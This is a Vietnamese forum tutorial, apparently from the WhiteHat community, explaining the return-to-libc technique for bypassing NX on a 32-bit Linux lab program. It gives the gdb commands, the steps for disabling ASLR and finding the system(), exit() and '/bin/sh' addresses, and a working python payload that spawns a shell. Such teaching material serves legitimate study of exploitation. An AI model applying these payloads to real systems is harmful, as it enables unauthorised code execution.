Giới thiệu và khai thác lỗ hổng tràn bộ đệm quay lại thư viện

sImplePerson

Member
23/03/2020
11
28 bài viết
Giới thiệu và khai thác lỗ hổng tràn bộ đệm quay lại thư viện

Đặt vấn đề

Ở các trường hợp tràn bộ đệm dựa theo ngăn xếp tiêu chuẩn, chúng ta chỉ cần ghi shellcode vào stack của chương trình dễ bị tấn công và thực thi nó. Tuy nhiên, nếu chương trình có sử dụng NX (trường hợp này xảy ra trên các hệ thống mới hơn), ta không thể thực thi mã shellcode từ stack của chương trình.

Để loại bỏ sự bảo vệ của NX, hôm nay mình xin giới thiệu về kỹ thuật return-to-libc, cho phép bỏ qua bảo vệ bit NX và phá vỡ luồng thực thi của chương trình bằng cách sử dụng lại mã thực thi hiện có từ đối tượng được chia sẻ thư viện C tiêu chuẩn (/lib/i386-linux-gnu/libc-*.so), đã được tải và ánh xạ vào không gian bộ nhớ ảo của chương trình.

loi_tran_bo_dem.jpg

Ở cấp độ cao, kỹ thuật ret-to-libc tương tự như tấn công tràn ngăn xếp thông thường, nhưng có một điểm khác biệt chính - thay vì ghi đè địa chỉ trả về của hàm dễ bị tấn công bằng địa chỉ của shellcode khi khai thác tràn thông thường, trong trường hợp ret-to-libc, địa chỉ trả về được ghi đè bằng địa chỉ bộ nhớ trỏ đến hàm system(const char *command) nằm trong thư viện libc. Do đó khi hàm bị tràn trả về, chương trình buộc phải nhảy đến hàm system() và thực thi lệnh shell đã được chuyển tới hàm system() dưới dạng đối số *command.

Trong trường hợp này, mình muốn chương trình sinh ra shell /bin/sh, vì vậy ta sẽ thực hiện chương trình đến system("/bin/sh").

Ngăn xếp

Dưới đây là một sơ đồ đơn giản minh họa cách bố trí bộ nhớ ngăn xếp trong quá trình khai thác ret-to-libc mà mình sẽ xây dựng trong bài này:

Untitled Diagram.drawio (1).png

Các điểm cần lưu ý trong bộ đệm bị tràn:
  1. EIP được ghi đè bằng địa chỉ của system()chức năng nằm bên trong libc;
  2. Ngay sau địa chỉ của system(), có địa chỉ của hàm exit()(chương trình exit()này cũng nằm trong libc), vì vậy khi system()trả về, chương trình có thể thoát ra một cách dễ dàng;
  3. Ngay sau địa chỉ của exit(), có một con trỏ đến vị trí bộ nhớ chứa chuỗi /bin/sh, là đối số mà mình muốn truyền cho hàm system().

Bố cục ngăn xếp

Từ sơ đồ trên, nội dung của ngăn xếp có thể thấy là:
  • Địa chỉ của /bin/shchuỗi
  • Địa chỉ của exit()hàm
  • Địa chỉ của system()hàm
Giải thích một chút:
  • Các đối số của hàm được đẩy vào ngăn xếp theo thứ tự ngược lại, có nghĩa là đối số ngoài cùng bên trái sẽ được đẩy sau cùng;
  • Địa chỉ trả về, cho chương trình biết nơi trả về sau khi hàm hoàn thành, được đẩy;
  • EBP được đẩy lên;
  • Các biến cục bộ được đẩy vào.
Với suy nghĩ ở trên, bây giờ sẽ rõ ràng tại sao ngăn xếp bị tràn lại trông như vậy - về cơ bản, mình đã xây dựng một khung ngăn để gọi hàm system() :
  • Mình đã đẩy một địa chỉ có chứa chuỗi /bin/sh- đối số cho hàm system();
  • Mình cũng đã đẩy một địa chỉ trả về, mà chương trình sẽ chuyển đến khi system()cuộc gọi hoàn tất, trong trường hợp này là địa chỉ của hàm exit().

Chương trình

Dưới đây là chương trình mình sử dụng cho bài viết này này, lấy đầu vào của người dùng làm đối số dòng lệnh và sao chép nó vào vị trí bộ nhớ bên trong chương trình:

2.png



Để biên dịch chương trình này thì mình dùng thư viên libc2.23 cùng với ubuntu 16.04(phiên bản 32bit):
  • gcc -mpreferred-stack-boundary=2 -fno-stack-protector -o vulnerable vulnerable.c
3.png

Ngoài ra, tạm thời tắt tính năng Ngẫu nhiên bố cục không gian địa chỉ (ASLR) để đảm bảo nó không cản trở việc làm tràn bộ đệm chương trình này :
  • echo 0 > /proc/sys/kernel/randomize_va_space
4.png

Bây giờ mình sẽ thực thi chương trình bằng gdb, đặt một điểm ngắt trên hàm main và tiếp tục thực thi:
  • gdb vulnerable
  • b main
  • r
5.png

Check xem NX đã đươc bật chưa:

6.png

Khai thác

1. Tìm độ lệch để chuyền payload

Mình sử dụng gdb để tạo ra chuỗi 150 ký tự để tìm độ lệch
  • pattern_create 150
  • pset arg ‘chuỗi ký tự được tạo’
  • r
7.png
  • pattern_offset ‘địa chỉ của thanh ghi EIP’
Từ đây tính ra cần chuyền 132 ký tự để đến được Return Address

8.png

2. Tìm địa chỉ của hàm system()

Trong gdb, sử dụng câu lệnh:
  • p system
Ta có thể thấy rằng hàm system nằm ở vị trí bộ nhớ 0xb7e42db0 bên trong chương trình, trong thư viện libc:

9.png

3. Tìm địa chỉ của hàm system()

Theo cách tương tự, chúng ta có thể thấy hàm exit() nằm ở 0xb7e369e0:

10.png

4. Tìm địa chỉ của “/bin/sh”

Mình muốn chiếm quyền điều khiển chương trình và buộc nó phải gọi system("/bin/sh") và sinh ra chương trình /bin/sh.

Giải thích một chút: hàm system() được khai báo là system(const char *command), nghĩa là nếu chúng ta muốn gọi nó, chúng ta cần chuyển cho nó một địa chỉ bộ nhớ chứa chuỗi mà chúng ta muốn nó thực thi ( /bin/sh). Chúng ta cần tìm một vị trí bộ nhớ bên trong chương trình có chứa chuỗi /bin/sh

Ta có thể kiểm tra bố cục bộ nhớ của chương trình và tìm địa chỉ bắt đầu của libc (địa chỉ bộ nhớ bên trong chương trình được tải đến):
  • gdb-peda$ info proc map
Dưới đây cho thấy rằng /lib/i386-linux-gnu/libc-2.23.so bên trong chương trình bắt đầu tại 0xb7e08000:

11.png

Bây giờ mình sử dụng strings tiện ích để tìm độ lệch của chuỗi /bin/sh với phần bắt đầu của thư viện libc:
  • strings -a -t x /lib/i386-linux-gnu/libc-2.23.so | grep "/bin/sh"
12.png

Ta có thể thấy rằng chuỗi được tìm thấy ở offset 0x15bb2b:

Có nghĩa là trong chương trình của chúng ta, tại địa chỉ 0xb7f63b2b ( 0xb7e08000+ 0x15bb2b), chúng ta sẽ thấy chuỗi /bin/sh, thử kiểm tra bằng gdb:
  • x/s 0xb7f63b2b
13.png

5. Khai thác

Đầu tiên mình cần gửi 132 byte rác đến chương trình trước khi chúng ta có thể ghi đè địa chỉ trả về của nó và làm cho nó nhảy đến system() (nằm ở 0xb7e42db0, được biểu thị là \xb0\x2d\xe4\xb7), và sẽ thực thi /bin/sh địa chỉ hiện có trong 0xb7f63b2b (được biểu thị bằng \x2b\x3b\xf6\xb7), payload sẽ giống như sau:

  • payload = A*132 + address of system() + return address for system() + address of "/bin/sh"

Thử khai thác:

  • ./vulnerable `python -c 'print("A"*132 + "\xb0\x2d\xe4\xb7" + "\xe0\x69\xe3\xb7" + "\x2b\x3b\xf6\xb7")'`
14.png

Như vậy là mình đã thành công trong việc khai thác ^^!

Trên đây là bài viết mình muốn giới thiệu về lỗ hổng tràn bộ đệm trở về thư viện, rất mong mọi người ủng hộ để mình có động lực làm thêm về các kỹ thuật cơ bản cũng như nâng cao hơn 1 chút của bộ môn PWN. Xin cảm ơn mọi người ^^
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Thẻ
pwn pwnable ret2libc
Bên trên